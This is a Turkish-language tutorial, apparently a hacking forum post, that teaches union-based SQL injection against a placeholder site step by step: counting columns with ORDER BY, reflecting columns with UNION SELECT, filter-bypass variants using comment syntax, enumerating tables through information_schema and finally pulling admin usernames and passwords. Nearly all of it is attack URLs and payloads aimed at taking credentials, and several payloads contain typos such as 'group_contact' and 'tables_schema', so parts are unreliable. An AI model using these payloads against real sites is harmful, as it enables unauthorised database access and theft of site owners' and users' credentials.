Sql İnjection Nedir Nasıl Yapılır [x1x1pezo1x1x]

ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''id değeri yazar'' Order by date_hot DESC' at line burası değişkendir

1-)Kolon Sayısını Öğrenme :

Site:örneksitemiz.com/index.php?id=30 

Arkadaşlar Sitemizin Sonuna (order+by+sayı- ) ( - işaretini getirmeyi unutmayalım)

>> örneksitemiz.com/index.php?id=30+order+by+29-

Eğer Şöyle Bir Hata Gelirse : 

Hata: Unknown column ’10’ in ’order clause Benzer Bir Hata Çıkarsa ; 

>> Kolon Sayısı 29'dan Küçük Tek Tek Aşağı İniyoruz .

>>order+by+28- , order+by+27-, order+by+26 , Site Eski Haline Gelesiye Kadar İniyoruz .

>> order+by+25- ( Sayfa Burda Eski Haline Gelmiş İse KOLON SAYIMIZ 25'Dir . )

2-)Kolonları Yansıtma 

Arkadaşlar Burda +union+select+kolon Teker Teker Yazıyoruz. (- Sitenin Sonuna Yine Eklenecektir.)

>>

www.örneksitemiz.com/index.php?id=30      URL Sonuna


>>

www.örneksitemiz.com/index.php?id=30+union+select+1+2+3+4+5+...23+24+25-


Şeklinde Olucak Kolon Sayımız Kaçsa Oraya Kadar Yazacağız.

>>
Şimdi Ekranı Sayılar Yansıyacak 10 ve 13 Yansıdı Diyelim. Bu Sayılardan Birini Seçip İşlemimize Devam Edeceğiz.Eğer Sayılar Yansımazsa Bypass Gerekecek.

>>Bypass


1) Normal: +union +select+1,2,3,4,5,6,7,25–
 
    Bypass: +/*!union*/+/*!select*/+1,2,3,4,5,6,7,25–
 
2) Normal:+union +select+1,2,3,4,5,6,7,25–
 
    Bypass: +union +(select+1,2,3,4,5,6,7,25–)
 
3) Normal:+union +select+1,2,3,4,5,6,7,25–
 
    Bypass: +#union# +#select#+1,2,3,4,5,6,7,25–

3-)Tablo İsimlerini Çekmek 

-Yansıyan Sayıları ( 10 ve 13) Birini Seçiyoruz . 
-10 Seçelim.


A-)www.örneksitemiz.com/index.php?id=30+union+select+1,2,database(),3,4,5,  6,7,8,..,24,25-

Bu Komut Sayesinde Sitenin VeriTabanı İsmini Öğreniyoruz.

B-)www.örneksitemiz.com/index.php?id=30+union+select+1,2,version(),3,4,5,6  ,7,8,..,24,25-

Bu Komut Sayesinde Sitenin VeriTabanı Versiyonunu Öğreniyoruz.

C-)www.örneksitemiz.com/index.php?id=30+union+select+1,2,group_contact(tab le_name),4,5,6,7,8,...,24,25+from+information_sche ma.tables-

– information_schema.tables = veritabanındaki tablo isimlerini gösterir

>>schema.tables yerini daha sonra şu komutu yazıyoruz.

– information_schema.columns = veritabanındaki kolon isimlerini gösterir


-)www.örneksitemiz/index.php?id=30+union+select+1,2,group_concat(table_name),4,5,...,24,25+from+i  nformation_schema.tables+where+tables_schema=database()–

Bu kod sayesinde sadece hedef sitenin tablo isimlerini öğreniriz. Şimdi bu kodu gönderelim, gönderdikten sonra sitenin tablo isimleri ekrana yansıyacaktır. Örneğin yansıyan isimleri aşağıya yazalım.

– Tablo İsimleri: admin,yerler,etkinlikler,yaptıklarımız 

– Bizim burada ilgileneceğimiz tablo ismi admin ’dir.

4-)Tablo İsimlerinden Veriyi Almak 

-Adminin Verilerini Alacağız.


www.örneksitemiz.com/index.php?id=30+union+select+1,2,group_concat(CoLumn_Name),4,5,6,7,8+fr  om+information_schema.CoLumns+where+TabLeS_schema=  database()+and+TabLe_Name=admin


Bu Kodu Gönderdikten Sonra Admin İçindeki Sütunlar Gelecektir. Gelen Sutünlar

ÖRN : user
passaword
e-mail
phone number

Bize Lazım Olanlar " User ve Passaword " 

>>
Şimdi Bize Lazım Olan Passaword ve User Sütunlarını Alalım 

>>

www.örneksite.com/index.php?id=30+union+select+1,2,group_concat(user,password),4,5,6,7,8+ from+admin–

Kodunu Yazıp Sayfayı Yeniliyoruz.

>>
Ve Ekrana User ve Passaword Bilgileri Yansıyacaktır.